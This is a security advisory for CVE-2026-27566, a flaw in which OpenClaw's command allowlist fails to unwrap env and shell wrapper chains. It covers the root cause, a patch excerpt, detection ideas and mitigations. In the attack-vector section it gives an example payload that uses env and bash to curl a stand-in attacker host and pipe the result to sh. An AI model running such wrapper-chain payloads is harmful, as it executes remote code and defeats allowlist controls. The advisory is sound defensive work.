CVE-2026-27566: Openclaw Allowlist Bypass RCE Vulnerability

CVE-2026-27566 Overview

CVE-2026-27566 is an allowlist bypass vulnerability in OpenClaw versions prior to 2026.2.22. The flaw exists in the system.run exec analysis functionality, which fails to properly unwrap env and shell-dispatch wrapper chains. This security gap allows attackers to route execution through wrapper binaries like env bash to smuggle payloads that satisfy allowlist entries while actually executing non-allowlisted commands.

Critical Impact

Attackers can bypass command execution allowlists to run arbitrary unauthorized commands, potentially leading to full system compromise, data exfiltration, or lateral movement within affected environments.

Affected Products

• OpenClaw versions prior to 2026.2.22
• OpenClaw for Node.js (all platforms)
• Systems using OpenClaw's system.run exec analysis with allowlist restrictions

Discovery Timeline

• 2026-03-19 - CVE-2026-27566 published to NVD
• 2026-03-19 - Last updated in NVD database

Technical Details for CVE-2026-27566

Vulnerability Analysis

This vulnerability is classified as CWE-78 (OS Command Injection) and manifests in OpenClaw's command execution allowlist mechanism. The core issue lies in the exec approvals analysis module, which is designed to validate executed commands against a predefined allowlist. However, the validation logic fails to account for wrapper binary chains that can obscure the actual command being executed.

When a user or process invokes a command through OpenClaw's system.run function, the allowlist check examines the command structure to ensure only approved executables are run. The vulnerability emerges because the analysis does not recursively unwrap common shell wrappers such as env, which can be used to indirectly invoke other binaries with arbitrary arguments.

Root Cause

The root cause is insufficient parsing of command argument vectors (argv) when wrapper binaries are present. The original implementation did not properly handle env command options and their associated values, nor did it recursively resolve the actual target executable when wrapper chains were employed. This created a parsing gap where commands like env bash -c 'malicious_command' could pass allowlist validation if env was permitted, even though bash or the inner command might not be on the allowlist.

Attack Vector

This vulnerability is exploitable over the network where OpenClaw's system.run functionality is exposed. An authenticated attacker with low privileges can craft command invocations that leverage wrapper binaries to smuggle malicious payloads past the allowlist validation. The attack does not require user interaction and can be executed with low complexity.

An attacker might construct a payload using env as a prefix wrapper, passing flags and environment variable assignments to eventually invoke an unauthorized binary. For example, routing through env -i bash -c 'curl http://attacker.com/exfil | sh' could bypass an allowlist that only permits env but not direct shell access.

The security patch introduces proper handling of env command options to correctly unwrap wrapper invocations:

   executableName: string;
 };
 
+const ENV_OPTIONS_WITH_VALUE = new Set([
+  "-u",
+  "--unset",
+  "-c",
+  "--chdir",
+  "-s",
+  "--split-string",
+  "--default-signal",
+  "--ignore-signal",
+  "--block-signal",
+]);
+const ENV_FLAG_OPTIONS = new Set(["-i", "--ignore-environment", "-0", "--null"]);
+
+function basenameLower(token: string): string {
+  const win = path.win32.basename(token);
+  const posix = path.posix.basename(token);
+  const base = win.length < posix.length ? win : posix;
+  return base.trim().toLowerCase();
+}
+
+function isEnvAssignment(token: string): boolean {
+  return /^[A-Za-z_][A-Za-z0-9_]*=.*/.test(token);
+}
+
+function unwrapEnvInvocation(argv: string[]): string[] | null {
+  let idx = 1;
+  let expectsOptionValue = false;

Source: GitHub Commit

Detection Methods for CVE-2026-27566

Indicators of Compromise

• Unusual command execution patterns involving env, bash, or other shell wrapper binaries in application logs
• Process trees showing nested wrapper chains (e.g., env spawning bash spawning unexpected child processes)
• Unexpected outbound network connections originating from OpenClaw-managed processes
• Log entries showing system.run invocations with complex argument structures containing wrapper binaries

Detection Strategies

• Implement behavioral monitoring for command execution patterns that use wrapper binaries like env, bash, sh, or nohup
• Deploy file integrity monitoring on OpenClaw installation directories to detect unauthorized modifications
• Enable verbose logging for system.run operations and correlate with network activity
• Use endpoint detection rules to flag commands with nested wrapper chains that differ from baseline behavior

Monitoring Recommendations

• Configure SIEM rules to alert on env command invocations with suspicious flags (e.g., -i, -c, --chdir)
• Monitor Node.js process execution for anomalous child process spawning patterns
• Establish baseline behavior for OpenClaw system.run operations and alert on deviations
• Review application logs regularly for command injection attempt signatures

How to Mitigate CVE-2026-27566

Immediate Actions Required

• Upgrade OpenClaw to version 2026.2.22 or later immediately
• Audit existing allowlist configurations to identify overly permissive entries (especially wrapper binaries like env)
• Review recent system.run execution logs for potential exploitation attempts
• Temporarily disable system.run functionality if upgrade is not immediately possible

Patch Information

OpenClaw has released version 2026.2.22 which addresses this vulnerability by implementing proper unwrapping of env and shell-dispatch wrapper chains in the exec approvals analysis. The fix adds comprehensive handling for env command options and properly resolves the actual target executable in wrapper chains. The patch commit (2b63592be57782c8946e521bc81286933f0f99c7) introduces new functions including unwrapEnvInvocation(), basenameLower(), and isEnvAssignment() to correctly parse and validate command structures.

For detailed patch information, refer to the GitHub Security Advisory and VulnCheck Advisory.

Workarounds

• Remove wrapper binaries (env, bash, sh, nohup) from the execution allowlist if not strictly required
• Implement additional application-layer validation for commands before passing to system.run
• Deploy network segmentation to limit impact of potential command execution compromise
• Use application firewalls or WAF rules to filter requests containing suspicious wrapper chain patterns

# Configuration example - Restricting allowlist to specific required binaries only
# Review and update openclaw configuration to remove wrapper binaries
# In your openclaw config, ensure allowlist does not include:
# - env
# - bash
# - sh  
# - nohup
# Only include specific required executables with full paths when possible